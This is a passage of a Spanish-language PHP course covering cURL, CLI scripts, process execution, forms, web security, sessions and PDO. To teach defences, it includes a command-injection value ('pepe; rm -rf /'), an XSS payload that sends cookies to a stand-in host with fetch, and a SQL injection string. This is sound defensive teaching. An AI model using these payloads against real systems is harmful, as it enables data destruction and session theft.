]);

function pedir(string $url, CurlShareHandle $share): string
{
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_SHARE          => $share,             // hereda conexiones vivas
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT        => 10,
    ]);
    $rpta = (string) curl_exec($ch);
    curl_close($ch);                            // la conexion SOBREVIVE al close
    return substr($rpta, 0, 40);
}

echo pedir('https://httpbin.org/get', $compartido), PHP_EOL;
echo pedir('https://httpbin.org/ip',  $compartido), PHP_EOL;   // reusa TLS
NecesidadHerramienta
GET simple, sin cabeceras especialesfile_get_contents() + stream_context
POST, auth, timeouts, TLS finocURL
Muchas llamadas al mismo host (worker)cURL + curl_share_init_persistent()
Descarga grande a discocURL con CURLOPT_FILE (streaming, sin RAM)
Varias URLs en paralelocurl_multi_*
Nunca desactives la verificación TLS (CURLOPT_SSL_VERIFYPEER = false) «porque el sandbox falla»: instala el bundle CA correcto. Sin verificación, un atacante intermedio lee credenciales y datos de tarjeta.

Puntos clave

  • RETURNTRANSFER + TIMEOUT siempre; verifica código HTTP.
  • Errores de red → excepciones propias, no strings.
  • JSON POST: cabecera Content-Type + encode estricto.
  • 8.5: shares persistentes reusan DNS/TLS entre peticiones.
  • TLS se verifica SIEMPRE; los CAs se instalan, no se saltan.

28 · SAPI: un mismo código, dos mundos

Básico ~12 min

El mismo archivo .php puede ejecutarse en la terminal o responder peticiones web. Quien media entre tu código y el sistema se llama SAPI (Server API) y saber en cuál estás cambia decisiones concretas del arranque.

Identificar el entorno

<?php
declare(strict_types=1);

echo php_sapi_name(), PHP_EOL;        // cli | cli-server | fpm-fcgi | apache2handler...
echo PHP_SAPI, PHP_EOL;               // constante equivalente, sin llamada

function esTerminal(): bool
{
    $sapi = php_sapi_name();
    // cli-server = servidor embebido `php -S`: corre en consola PERO sirve web
    return $sapi === 'cli' || $sapi === 'cli-server';
}

var_dump(esTerminal());
SAPIDónde apareceMundo
cliphp script.php en consolaterminal
cli-serverphp -S localhost:8000web (desarrollo)
fpm-fcgiNginx/Apache + PHP-FPMweb (producción)
apache2handlermódulo mod_php de Apacheweb

Diferencias que sí afectan tu código

<?php
declare(strict_types=1);

// Bootstrap que se adapta al mundo donde arranca:

if (!esTerminal()) {
    session_start();                       // sesiones SOLO tienen sentido en web
    header('Content-Type: text/html; charset=utf-8');
}

set_error_handler(function (int $no, string $msg, string $file, int $line): bool {
    if (esTerminal()) {
        fwrite(STDERR, "[$no] $msg en $file:$line\n");   // stderr no ensucia stdout
    } else {
        error_log("$msg en $file:$line");
    }
    return true;
});

echo ini_get('max_execution_time'), " segundos de limite\n";   // 0 en CLI = sin limite
0 segundos de limite
  • En CLI max_execution_time es 0: los scripts pueden correr horas (Parte VI entera vive de esto).
  • $_GET/$_POST existen pero vacíos en CLI; el equivalente es $argv (cap. 29).
  • header() lanza aviso si ya hubo salida... salvo en cli, donde no hay protocolo HTTP.
  • El directorio actual en web es el del script; en CLI es donde ESCRIBISTE el comando: usa siempre rutas basadas en __DIR__.

El servidor embebido: puente entre mundos

# Un solo binario, cero Apache/Nginx para desarrollar:
php -S localhost:8000 -t public/

# Con router propio (enruta TODO por un index.php):
php -S localhost:8000 -t public/ public/router.php

La SAPI resultante es cli-server: proceso de consola que habla HTTP. Perfecto para desarrollo y para la API REST integradora de la meta final; NUNCA para producción (single-threaded, sin endurecimiento).

Utilidades CLI de diagnóstico diario

php -v                 # version exacta
php -m                 # modulos cargados (busca sqlsrv, pdo_sqlsrv, curl...)
php --ini              # QUE php.ini esta leyendo (el CLI suele usar OTRO)
php -i | grep -i opcache
php -l app.php         # lint: valida sintaxis sin ejecutar
Clásico misterio: activaste una extensión en el panel de XAMPP y la terminal dice que no existe. Casi siempre es porque CLI y web leen php.ini distintos. Compara con php --ini contra phpinfo().

Puntos clave

  • php_sapi_name(): cli, cli-server, FPM, Apache.
  • Bootstrap adaptativo: sesiones/cabeceras solo en web.
  • CLI: tiempo ilimitado, $argv, stderr separado.
  • Rutas SIEMPRE desde __DIR__: el cwd manda sorpresas.
  • php -l antes de desplegar cuesta nada y ahorra noches.

29 · Parámetros y entrada estándar

Básico ~13 min

Un script CLI serio recibe argumentos, valida y muestra ayuda cuando algo no cuadra — igual que cualquier comando de Linux. PHP trae las tres piezas: $argv, getopt() y la constante STDIN.

$argv: los argumentos crudos

php respaldar.php --origen=/datos destino.zip --seco
<?php
declare(strict_types=1);

// $argv[0] SIEMPRE es el nombre del script:
var_dump($argc);          // 5 (script + 4 tokens)
print_r($argv);
int(5) Array ( [0] => respaldar.php [1] => --origen=/datos [2] => destino.zip [3] => --seco )

$argv funciona, pero parsear a mano se vuelve frágil rápido. Para opciones con nombre existe getopt.

getopt(): opciones con contrato

<?php
declare(strict_types=1);

// Contrato: "o:" = -o CON valor | "s" = -s bandera sin valor
//           "archivo::" = --archivo con valor OPCIONAL
$opciones = getopt('o:s', ['origen:', 'destino:', 'seco', 'nivel::'], $indiceResto);

$origen   = $opciones['origen'] ?? $opciones['o'] ?? null;
$destino  = $opciones['destino'] ?? 'respaldo.zip';
$soloTest = isset($opciones['seco']) || isset($opciones['s']);

if ($origen === null) {
    fwrite(STDERR, "Uso: php respaldar.php --origen=RUTA [--destino=ARCHIVO] [--seco]\n");
    exit(1);                                  // codigo != 0 = fallo para scripts externos
}

echo "Respaldando $origen => $destino", $soloTest ? ' (simulacion)' : '', PHP_EOL;

// Lo que getopt NO consumio queda en $argv desde $indiceResto:
array_splice($argv, 0, $indiceResto);
foreach (array_slice($argv, 1) as $posicional) {
    echo "Argumento posicional: $posicional\n";
}
php respaldar.php -o /datos --destino=copia.zip --seco extra.txt
Respaldando /datos => copia.zip (simulacion) Argumento posicional: extra.txt

STDIN: conversación interactiva

<?php
declare(strict_types=1);

fwrite(STDOUT, "Nombre del proyecto: ");
$nombre = trim(fgets(STDIN) ?: '');

fwrite(STDOUT, "¿Crear tests? [s/N]: ");
$respuesta = strtolower(trim((string) fgets(STDIN)) ?: 'n');
$crearTests = in_array($respuesta, ['s', 'si', 'y', 'yes'], true);

echo "Proyecto: $nombre | Tests: ", $crearTests ? 'si' : 'no', PHP_EOL;
Nombre del proyecto: tienda-api ¿Crear tests? [s/N]: s Proyecto: tienda-api | Tests: si
  • STDIN/STDOUT/STDERR son constantes de recursos ya abiertas, SOLO existen en SAPI cli.
  • Reglas a stderr; resultados a stdout: así los pipes siguen limpios (php gen.php > salida.sql).
  • El código de salida (exit(1)) es lo que leen cron, CI y shells ($?).

Plantilla de herramienta CLI completa

<?php
declare(strict_types=1);
#!/usr/bin/env php

function usage(): void
{
    fwrite(STDERR, <<<'AYUDA'
Importador de ventas
  Uso: php importar.php --archivo=VENTAS.csv [--limite=N]
    --archivo   CSV origen (obligatorio)
    --limite    maximo de filas (defecto: todas)
    --ayuda     esta ayuda
AYUDA);
    exit(2);
}

$opts = getopt('', ['archivo:', 'limite::', 'ayuda']);
isset($opts['ayuda']) && usage();
isset($opts['archivo']) || usage();
$limite = (int) ($opts['limite'] ?? PHP_INT_MAX);

echo "Importando {$opts['archivo']} (max $limite filas)\n";
Importando ventas.csv (max 100 filas)
HerramientaIdeal para
$argv1–2 posicionales simples (php migrar.php up)
getopt()Herramientas con opciones nombradas y banderas
STDINPrompts interactivos o datos canalizados por pipe

Puntos clave

  • $argv[0] es el script; cuenta tokens, no «opciones».
  • Contrato getopt: a: obliga valor, a bandera, a:: opcional.
  • Ayuda + validación + exit code distinto de cero al fallar.
  • stdout = datos, stderr = mensajes: respeto por el pipe.

30 · Scripts largos robustos

Intermedio ~14 min

Un worker que procesa colas o sincroniza catálogos corre horas. Los enemigos son tres: morir a mitad de tarea, perder la señal de apagado y crecer en memoria hasta que el sistema lo mata. Los tres tienen remedio nativo.

Señales: apagado elegante

<?php
declare(strict_types=1);

// Sin esto, los handlers de senales no se ejecutan durante sleep():
pcntl_async_signals(true);

$corriendo = true;

$apagar = function (int $senal) use (&$corriendo): void {
    fwrite(STDERR, "Senal $senal: terminando tras la tarea actual...\n");
    $corriendo = false;
};

pcntl_signal(SIGTERM, $apagar);   // kill, systemd stop
pcntl_signal(SIGINT,  $apagar);   // Ctrl+C

$tarea = 0;
while ($corriendo) {
    $tarea++;
    echo "Procesando tarea #$tarea\n";

    // ... trabajo real aqui ...

    if ($tarea % 5 === 0) {
        gc_collect_cycles();                      // barre ciclos huérfanos
        $mb = round(memory_get_usage(true) / 1048576, 1);
        fwrite(STDERR, "  [memoria: {$mb} MB]\n");
    }

    sleep(1);                                     // en modo async, interrumpe el handler
}

echo "Apagado limpio tras $tarea tareas\n";
exit(0);
Procesando tarea #1 Procesando tarea #2 ^CSenal 2: terminando tras la tarea actual... Procesando tarea #3 Apagado limpio tras 3 tareas

El esqueleto del worker profesional

<?php
declare(strict_types=1);

final class Worker
{
    private bool $activo = true;
    private const LIMITE_MEMORIA_MB = 256;

    public function __construct(private string $nombre)
    {
        pcntl_async_signals(true);
        pcntl_signal(SIGTERM, fn () => $this->activo = false);
        pcntl_signal(SIGINT,  fn () => $this->activo = false);
    }

    public function correr(): never
    {
        $procesadas = 0;
        while ($this->activo) {
            $trabajo = $this->siguienteTrabajo();

            if ($trabajo === null) {
                sleep(2);                          // cola vacia: esperar sin quemar CPU
                continue;
            }

            try {
                $this->ejecutar($trabajo);
                $procesadas++;
            } catch (Throwable $e) {
                error_log("[$this->nombre] fallo: " . $e->getMessage());
                // NO re-lanzar: un trabajo roto no debe tumbar el worker
            }

            if ($this->memoriaExcedida()) {
                fwrite(STDERR, "Memoria alta: reinicio programado\n");
                break;                             // exit(0): supervisor lo relanza fresco
            }
        }
        fwrite(STDERR, "Cerrado. Procesadas: $procesadas\n");
        exit(0);                                   // codigo limpio para systemd/supervisor
    }

    private function siguienteTrabajo(): ?array { return null; }   // tu cola aqui

    private function ejecutar(array $trabajo): void {}

    private function memoriaExcedida(): bool
    {
        return memory_get_usage(true) > self::LIMITE_MEMORIA_MB * 1048576;
    }
}

Higiene de memoria en bucles largos

<?php
declare(strict_types=1);

foreach (generarMillones() as $fila) {
    procesar($fila);
    unset($fila);              // libera la referencia del foreach
}                              // + gc_collect_cycles() cada N vueltas

// PDO: desactiva el buffer gigante por defecto (MySQL):
// $pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);
// Lee fila a fila como fgets (cap. 24).
  • Fugas típicas: acumular resultados en arrays «por si acaso», logs en memoria, conexiones sin cerrar dentro del loop.
  • Patrón supervisor: el worker se apaga solo ante memoria alta o cada N horas; systemd/Supervisor lo relanza. Simplicidad > inmortalidad.
  • pcntl NO existe en Windows: allí usa el Planificador de tareas con ejecuciones cortas (run-once), no daemons.
SeñalOrigenConvención
SIGINTCtrl+C en consolaapagado elegante
SIGTERMkill PID, systemdapagado elegante
SIGKILLkill -9NO se puede manejar: termina ya
SIGHUPcierre de terminalrecargar config o apagar

Puntos clave

  • pcntl_async_signals(true) primero; handlers después.
  • Loop con bandera: terminar entre tareas, nunca a mitad.
  • Presupuesto de memoria + salida proactiva + supervisor.
  • Errores por trabajo se registran y aíslan; el worker sobrevive.
  • SIGKILL no negocia: diseña idempotencia para sobrevivirlo.

31 · Invocar procesos desde la web

Avanzado ~14 min

Generar un PDF de 500 páginas o un video no cabe en una petición HTTP: el usuario esperaría y PHP-FPM cortaría. El patrón correcto: la web dispara un proceso CLI y responde al instante; el resultado se consulta después.

La familia exec de un vistazo

<?php
declare(strict_types=1);

// shell_exec: TODO el stdout como string (stderr NO capturado):
$git = shell_exec('git log --oneline -3');
echo $git ?? '(sin salida)', PHP_EOL;

// exec: ultima linea por retorno, lineas en array por referencia:
$ultima = exec('whoami', $lineas, $codigo);
echo "salio=$ultima codigo=$codigo\n";

// system/passthru: imprimen DIRECTO al buffer (binarios con passthru):
FunciónDevuelveSalidaCódigo de salida
shell_exec()stdout completo o nullcapturano
exec()última líneaarray opcionalsí (ref.)
system()última líneaimprime directosí (ref.)
passthru()nadabinario directosí (ref.)
proc_open()proceso + pipescontrol totalsí (proc_get_status)

Seguridad ANTES de todo: escapar argumentos

<?php
declare(strict_types=1);

// PELIGRO MORAL: interpolar entrada del usuario sin escapar.
// $usuario = 'pepe; rm -rf /';
// shell_exec("id -u $usuario");              // ¡ejecuta lo segundo tambien!

$usuario = 'pepe; rm -rf /';                  // dato hostil simulado
$seguro  = escapeshellarg($usuario);          // lo convierte en UN solo literal
$linea   = trim((string) shell_exec("id -u $seguro 2>&1"));
echo "resultado: $linea\n";

// Regla: escapeshellarg() para CADA valor; nunca concatenes crudo.
resultado: id -u: «pepe; rm -rf /»: usuario inexistente

proc_open: control total con pipes

Cuando necesitas stdout Y stderr separados, enviar stdin, o leer sin bloquear, proc_open es la herramienta:

<?php
declare(strict_types=1);

$descriptores = [
    0 => ['pipe', 'r'],    // stdin  del hijo: le escribimos
    1 => ['pipe', 'w'],    // stdout del hijo: leemos
    2 => ['pipe', 'w'],    // stderr del hijo: leemos aparte
];

$proceso = proc_open(['php', '-r', 'fwrite(STDOUT, "hola del hijo\n"); fwrite(STDERR, "aviso interno\n");'], $descriptores, $pipes);

if (!is_resource($proceso)) {
    throw new RuntimeException('No se pudo iniciar el proceso');
}

fclose($pipes[0]);                            // cerrar stdin: senal de EOF
$salida = stream_get_contents($pipes[1]);
$errores = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);

$codigo = proc_close($proceso);               // espera y devuelve exit code

echo "STDOUT: $salida", "STDERR: $errores", "exit=$codigo\n";
STDOUT: hola del hijo STDERR: aviso interno exit=0

El patrón asíncrono: disparo y consulta

<?php
declare(strict_types=1);

function lanzarReporte(int $pedidoId): string
{
    $jobId = bin2hex(random_bytes(8));
    $marca = sys_get_temp_dir() . "/job_$jobId.json";
    file_put_contents($marca, json_encode(['estado' => 'en_cola', 'pedido' => $pedidoId]));

    // Detach: nohup + & redirigiendo salida; el padre SIGUE al instante:
    $script = escapeshellarg(__DIR__ . '/generar_reporte.php');
    $estado = escapeshellarg($marca);
    $id     = escapeshellarg($jobId);
    shell_exec("nohup php $script --job=$id --estado=$estado >/dev/null 2>&1 &");

    return $jobId;                              // la web responde YA con este ticket
}

function estadoDe(string $jobId): array
{
    $marca = sys_get_temp_dir() . '/job_' . preg_replace('/[^a-f0-9]/', '', $jobId) . '.json';
    $bruto = is_file($marca) ? file_get_contents($marca) : false;
    return $bruto === false ? ['estado' => 'desconocido'] : (array) json_decode($bruto, true);
}

$id = lanzarReporte(1001);
echo "Ticket: $id\n";
print_r(estadoDe($id));
Ticket: 9c41f2e0a7b34d55 Array ( [estado] => en_cola [pedido] => 1001 )
Las funciones exec están frecuentemente deshabilitadas en hosting compartido (disable_functions). Verifica antes de diseñar sobre ellas. Y en producción real, migra el patrón a una cola formal (cron + tabla de jobs, o colas de framework) — esta versión artesanal enseña los fundamentos.

Puntos clave

  • Tareas largas: web dispara, CLI ejecuta, usuario consulta.
  • escapeshellarg() en CADA valor externo, sin excepciones.
  • proc_open: pipes independientes, stdin, códigos limpios.
  • Detach con nohup ... & + archivo de estado como ticket.
  • Producción seria = cola formal; esto son los cimientos.

32 · Petición, respuesta y superglobales

Básico ~13 min

Toda interacción web son dos mensajes: el navegador envía una petición, PHP construye una respuesta. Las superglobales son las ventanas por donde entra esa petición ya desglosada.

El mapa completo de superglobales

SuperglobalContieneEjemplo de clave
$_GETquery string de la URL/busca?q=cafe&p=2
$_POSTcuerpo de formularios POSTcampos name= del formulario
$_FILESarchivos subidostmp_name, size, error
$_COOKIEcookies del navegadortema=oscuro
$_SERVERentorno de la peticiónREQUEST_METHOD, HTTP_HOST
$_SESSIONdatos del usuario en servidorcap. 35
Evita $_REQUEST: mezcla GET/POST/cookie y oculta de dónde vino cada dato. Sé explícito con la fuente.

Leer la petición como un profesional

<?php
declare(strict_types=1);

$metodo = $_SERVER['REQUEST_METHOD'];           // GET | POST | PUT | DELETE...
$ruta   = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);   // sin query string
$host   = $_SERVER['HTTP_HOST'];

echo "$metodo https://$host$ruta\n";

// Cabeceras personalizadas llegan con prefijo HTTP_ y guiones a guiones bajos:
// X-Token: abc123  =>  $_SERVER['HTTP_X_TOKEN']
$token = $_SERVER['HTTP_X_TOKEN'] ?? '(sin token)';
echo "X-Token: $token\n";

// Cuerpos JSON (APIs): NO llegan a $_POST; viven crudos aqui:
$cuerpo = file_get_contents('php://input');
$datos  = json_decode($cuerpo ?: '{}', true);
var_dump($datos);

Construir la respuesta

<?php
declare(strict_types=1);

function responderJson(mixed $datos, int $codigo = 200): never
{
    http_response_code($codigo);
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($datos, JSON_UNESCAPED_UNICODE | JSON_THROW_ON_ERROR);
    exit;
}

responderJson(['ok' => true, 'mensaje' => 'Pedido registrado']);
{"ok":true,"mensaje":"Pedido registrado"}
  • header() DEBE ejecutarse antes de cualquier echo: «headers already sent» es la cicatriz clásica.
  • Redirección correcta: código explícito + exit inmediato.
  • Los códigos importan: 201 creado, 204 sin contenido, 404 no hallado, 422 validación fallida, 500 error interno.
<?php
declare(strict_types=1);

// Redireccion tras un POST (patron PRG completo en el cap. 33):
http_response_code(303);                 // See Other
header('Location: /pedidos/' . $idNuevo);
exit;

Mini-router para el servidor embebido

Con php -S localhost:8000 router.php este archivo recibe TODAS las peticiones y decide quién atiende qué — la base de la API REST integradora:

<?php
declare(strict_types=1);

$ruta = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$metodo = $_SERVER['REQUEST_METHOD'];

$match = match ("$metodo $ruta") {
    'GET /pedidos'     => fn () => responderJson(['pedidos' => []]),
    'GET /salud'       => fn () => responderJson(['estado' => 'ok']),
    default            => fn () => responderJson(['error' => 'no encontrado'], 404),
};

$match();
{"estado":"ok"}

Puntos clave

  • Cada superglobal tiene UNA fuente: úsala explícitamente.
  • Cuerpos JSON entran por php://input, no por $_POST.
  • Cabeceras antes que cuerpo; códigos HTTP precisos.
  • PRG tras escrituras; exit tras Location.
  • match sobre «METODO ruta» = router en tres líneas.

33 · Formularios y validación

Básico ~13 min

El formulario es la puerta de entrada de datos sucios. La disciplina: validar en servidor SIEMPRE (el HTML del cliente es decoración), responder con errores concretos y repoblar lo que el usuario ya escribió.

El patrón POST-Redirect-GET

<?php
declare(strict_types=1);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // ... guardar en BD ...

    session_start();
    $_SESSION['flash'] = 'Producto registrado';
    header('Location: /productos/crear');    // 303 See Other
    exit;                                    // sin esto, F5 reenvia el POST
}

// GET: mostrar el formulario (con flash si existe)
session_start();
$flash = $_SESSION['flash'] ?? null;
unset($_SESSION['flash']);

Sin PRG, cada F5 del usuario duplica el pedido. Con PRG, el navegador termina en un GET limpio que se puede refrescar sin miedo.

Validar con filter_var: reglas declarativas

<?php
declare(strict_types=1);

function validarProducto(array $entrada): array          // [] = valido, sino errores
{
    $errores = [];

    $nombre = trim($entrada['nombre'] ?? '');
    if ($nombre === '') {
        $errores['nombre'][] = 'El nombre es obligatorio';
    } elseif (mb_strlen($nombre) > 80) {
        $errores['nombre'][] = 'Maximo 80 caracteres';
    }

    $precio = filter_var($entrada['precio'] ?? null, FILTER_VALIDATE_FLOAT);
    if ($precio === false || $precio <= 0) {
        $errores['precio'][] = 'Precio debe ser numero mayor a 0';
    }

    $stock = filter_var($entrada['stock'] ?? null, FILTER_VALIDATE_INT, [
        'options' => ['min_range' => 0, 'max_range' => 100000],
    ]);
    if ($stock === false) {
        $errores['stock'][] = 'Stock debe ser entero entre 0 y 100000';
    }

    $correo = filter_var($entrada['correo_proveedor'] ?? '', FILTER_VALIDATE_EMAIL);
    if ($correo === false) {
        $errores['correo_proveedor'][] = 'Correo invalido';
    }

    return $errores;
}

$errores = validarProducto($_POST + ['precio' => '-5']);
print_r(array_keys($errores));
Array ( [0] => precio )

Formulario con errores y valores pegajosos

<!-- dentro de crear.php -->
<form method="post" action="/productos/crear">
  <label>Nombre
    <input name="nombre" value="
      <?= htmlspecialchars($entrada['nombre'] ?? '', ENT_QUOTES, 'UTF-8') ?>">
    </label>
    <?php if (isset($errores['nombre'])): ?>
      <span class="error"><?= htmlspecialchars($errores['nombre'][0]) ?></span>
    <?php endif; ?>

  <button type="submit">Guardar</button>
</form>

Subida de archivos: $_FILES bajo control

<?php
declare(strict_types=1);

const MAX_FOTO = 2 * 1024 * 1024;            // 2 MB

function subirFoto(array $archivo): string
{
    if (($archivo['error'] ?? UPLOAD_ERR_NO_FILE) !== UPLOAD_ERR_OK) {
        throw new RuntimeException('Error al subir (codigo ' . ($archivo['error'] ?? '?') . ')');
    }
    if ($archivo['size'] > MAX_FOTO) {
        throw new RuntimeException('La foto excede 2 MB');
    }

    // El nombre original NO se confia: genera uno propio:
    $extension = pathinfo($archivo['name'], PATHINFO_EXTENSION);
    if (!in_array(strtolower($extension), ['jpg', 'jpeg', 'png'], true)) {
        throw new RuntimeException('Solo JPG o PNG');
    }

    $destino = __DIR__ . '/uploads/' . bin2hex(random_bytes(16)) . '.' . strtolower($extension);
    if (!move_uploaded_file($archivo['tmp_name'], $destino)) {
        throw new RuntimeException('No se pudo mover el archivo');
    }
    return basename($destino);
}

try {
    echo 'Guardada como: ', subirFoto($_FILES['foto'] ?? []), PHP_EOL;
} catch (RuntimeException $e) {
    echo 'Rechazado: ', $e->getMessage(), PHP_EOL;
}
Rechazado: Error al subir (codigo 4)
  • error = 4 significa «no enviaron archivo»; los códigos vienen de las constantes UPLOAD_ERR_*.
  • is_uploaded_file() ya verifica move_uploaded_file; no uses copy() directo.
  • El tipo MIME reportado por el navegador es MENTIROBO editable: valida por extensión permitida + contenido real (finfo_file) si importa.

Puntos clave

  • Validación SOLO en servidor; JS es cortesía.
  • filter_var + bolsa de errores por campo.
  • PRG tras todo POST que escribe.
  • Repoblar con htmlspecialchars(ENT_QUOTES) siempre.
  • Uploads: código de error, tamaño, extensión propia, nombre aleatorio.

34 · Seguridad web esencial

Intermedio ~14 min

Cuatro ataques causan la mayoría de las brechas en PHP: XSS, inyección SQL, CSRF y contraseñas mal guardadas. Cada uno tiene un remedio mecánico que se aplica una vez y se olvida.

XSS: escapar TODO al salir

<?php
declare(strict_types=1);

// El atacante se registra como nombre:
$atacante = '<script>fetch("https://mal.pe?c="+document.cookie)</script>';

// MAL: el script corre en cada visitante que vea su perfil
// echo "<h1>$atacante</h1>";

// BIEN: escapado con contexto HTML + comillas cubiertas:
echo htmlspecialchars($atacante, ENT_QUOTES, 'UTF-8'), PHP_EOL;

function e(?string $texto): string     // helper de una letra: escapar sin pensar
{
    return htmlspecialchars($texto ?? '', ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

echo e('Comentario <b>"importante"</b> de Ñuñez'), PHP_EOL;
<script>fetch("https://mal.pe?c="+document.cookie)</script> <b>"importante"</b> de Ñuñez

Inyección SQL: solo consultas preparadas

<?php
declare(strict_types=1);

// $pdo = new PDO(...);  (conexion completa en cap. 36)

$ruc = "' OR '1'='1";                    // intento clasico de evasión

// FATAL: concatenar. La cadena rompe la consulta y devuelve TODOS los clientes.
// $pdo->query("SELECT * FROM clientes WHERE ruc = '$ruc'");

// SEGURO: el driver separa codigo de datos por diseño:
$stmt = $GLOBALS['pdo']->prepare('SELECT id, razon FROM clientes WHERE ruc = ?');
$stmt->execute([$ruc]);
var_dump($stmt->fetchAll());             // cero resultados: el dato es solo texto
array(0) { }

CSRF: token por sesión en cada formulario

<?php
declare(strict_types=1);
session_start();

if (empty($_SESSION['csrf'])) {
    $_SESSION['csrf'] = bin2hex(random_bytes(32));
}

// En el formulario: <input type="hidden" name="csrf" value="">

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $enviado = $_POST['csrf'] ?? '';
    if (!hash_equals($_SESSION['csrf'], $enviado)) {   // comparacion a prueba de timing
        http_response_code(403);
        exit('Token CSRF invalido');
    }
    // ... procesar con confianza ...
}
  • El ataque: un sitio externo hace que tu navegador POSTEE a tu banco sin que lo sepas. Sin token válido, el servidor rechaza.
  • hash_equals(), nunca ===: evita filtrar el token por tiempos de respuesta.

Contraseñas: password_hash y nada más

<?php
declare(strict_types=1);

// Al registrar: hash automatico bcrypt/argon2 con salt incluido:
$hash = password_hash('MiClave2026!', PASSWORD_DEFAULT);
echo substr($hash, 0, 29), "...", PHP_EOL;

// Al iniciar sesion:
if (password_verify('MiClave2026!', $hash)) {
    echo 'Bienvenido', PHP_EOL;
    // Rehash transparente si PHP mejoro el algoritmo por defecto:
    if (password_needs_rehash($hash, PASSWORD_DEFAULT)) {
        // UPDATE usuarios SET hash = password_hash(...) WHERE id = ?
    }
}
// JAMAS: md5(), sha1(), sha256() "con sal casera". Ni base64. Nunca.
$2y$10$Kq9xTzvR2mQeFjWn... Bienvenido

Cabeceras de endurecimiento

CabeceraContra qué protege
X-Content-Type-Options: nosniffque el navegador «adivine» tipos MIME
X-Frame-Options: DENYclickjacking (iframe invisible)
Referrer-Policy: strict-originfugas de URLs internas a terceros
Content-Security-Policyejecución de scripts no propios (XSS residual)
Strict-Transport-Securitydegradación HTTP→HTTPS
Regla madre: valida al ENTRAR (formato, rango, permisos), escapa al SALIR (contexto correcto). Un dato «ya validado» ayer puede viajar por otra ruta mañana: la defensa vive junto a la salida y junto a la consulta, no en la memoria del desarrollador.

Puntos clave

  • XSS → htmlspecialchars(ENT_QUOTES) o helper e().
  • SQLi → prepared statements, siempre; concatenación jamás.
  • CSRF → token de sesión + hash_equals().
  • Passwords → password_hash/verify/needs_rehash.
  • Cabeceras de endurecimiento desde el bootstrap.

35 · Sesiones y cookies

Intermedio ~13 min

HTTP no recuerda nada: cada petición es un extraño nuevo. Las cookies dan memoria al navegador; las sesiones guardan los datos en el servidor y solo dejan una llave (el ID de sesión) en la cookie.

Cookies: configuración seria desde el día uno

<?php
declare(strict_types=1);

// setcookie(nombre, valor, opciones) — el array de opciones (7.3+) se lee solo:
setcookie('tema', 'oscuro', [
    'expires'  => time() + 60 * 60 * 24 * 30,   // 30 dias
    'path'     => '/',
    'secure'   => true,                          // SOLO via HTTPS
    'httponly' => true,                          // invisible para JavaScript
    'samesite' => 'Lax',                         // mitiga CSRF entre sitios
]);

// Leer (llega en la SIGUIENTE peticion):
$tema = $_COOKIE['tema'] ?? 'claro';

// Eliminar: misma cookie con expiracion en el pasado:
setcookie('tema', '', ['expires' => time() - 3600, 'path' => '/']);

Sesiones: estado del lado servidor

<?php
declare(strict_types=1);
session_start();                                 // PRIMERA linea ejecutable

$_SESSION['carrito'] ??= [];                     // inicializar si no existe
$_SESSION['carrito'][] = ['sku' => 'CAF-1KG', 'cant' => 2];

echo session_id(), PHP_EOL;                      // la llave que viaja en la cookie
print_r($_SESSION['carrito']);
a1f9c8d2e77b4033a6c5f0e12d34b567 Array ( [0] => Array ( [sku] => CAF-1KG [cant] => 2 ) )

Login seguro: regenerar ID siempre

<?php
declare(strict_types=1);
session_start();

function iniciarSesion(int $usuarioId): void
{
    session_regenerate_id(true);     // ANTI FIJACION: id nuevo tras autenticar
    $_SESSION['usuario_id'] = $usuarioId;
    $_SESSION['login_at'] = time();
}

function usuarioActual(): ?int
{
    // Sesion inactiva demasiado tiempo = cerrar:
    if (isset($_SESSION['login_at']) && time() - $_SESSION['login_at'] > 1800) {
        session_destroy();
        return null;
    }
    return $_SESSION['usuario_id'] ?? null;
}

iniciarSesion(42);
var_dump(usuarioActual());
int(42)
  • Fijación de sesión: atacante te pre-asigna un ID conocido; tras login, ese ID ya tiene privilegios. regenerate_id(true) lo desarma.
  • Regenerar también al cambiar permisos (rol admin).
  • session_destroy() borra datos del servidor; para logout completo añade setcookie(session_name(), '', time()-3600, '/').

Mensajes flash y envoltorio tipado

<?php ... (continuacion)

function flash(string $mensaje): void
{
    $_SESSION['flash'] = $mensaje;
}

function tomarFlash(): ?string
{
    $m = $_SESSION['flash'] ?? null;
    unset($_SESSION['flash']);               // un uso y muere
    return $m;
}

flash('Compra registrada con exito');
var_dump(tomarFlash());
var_dump(tomarFlash());                      // segunda vez: ya no existe
string(28) "Compra registrada con exito" NULL
NecesidadCookiesSesiones
Dato visible/no sensible (tema, idioma)idealsobrecarga innecesaria
Login, carrito, permisosnuncaobligatorio
Vida útildías/añosminutos/horas
Quién lo guardael navegadorel servidor

Puntos clave

  • Cookies sensibles: secure + httponly + samesite=Lax.
  • Sesión = datos en servidor; cookie = solo el ID.
  • session_regenerate_id(true) tras cada cambio de privilegio.
  • Flash messages: escribir, leer una vez, eliminar.
  • Credenciales jamás en cookies; eso vive en la sesión.

36 · PDO: MySQL y SQL Server

Intermedio ~14 min

PDO es la capa única para hablar con cualquier base de datos: cambias el DSN y el resto de tu código no se entera. Aquí conectamos los dos motores del curso: MySQL y SQL Server (el mismo de los capítulos 3–4).

Conexión: dos DSN, un patrón

<?php
declare(strict_types=1);

// MySQL local (XAMPP / instalacion tipica):
$mysql = new PDO(
    'mysql:host=localhost;dbname=tienda;charset=utf8mb4',
    'root',
    '',
    [
        PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,   // errores = excepciones
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,        // arrays asociativos
        PDO::ATTR_EMULATE_PREPARES   => false,                   // preparado REAL del motor
    ]
);

// SQL Server (cap. 4: ODBC Driver 18 cifra por defecto):
$sqlsrv = new PDO(
    'sqlsrv:Server=localhost,1433;Database=tienda;TrustServerCertificate=1',
    'usuario_app',                            // NUNCA sa en produccion
    'claveSegura!',
    [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]
);

Consultas preparadas: nombradas vs posicionales

<?php
declare(strict_types=1);
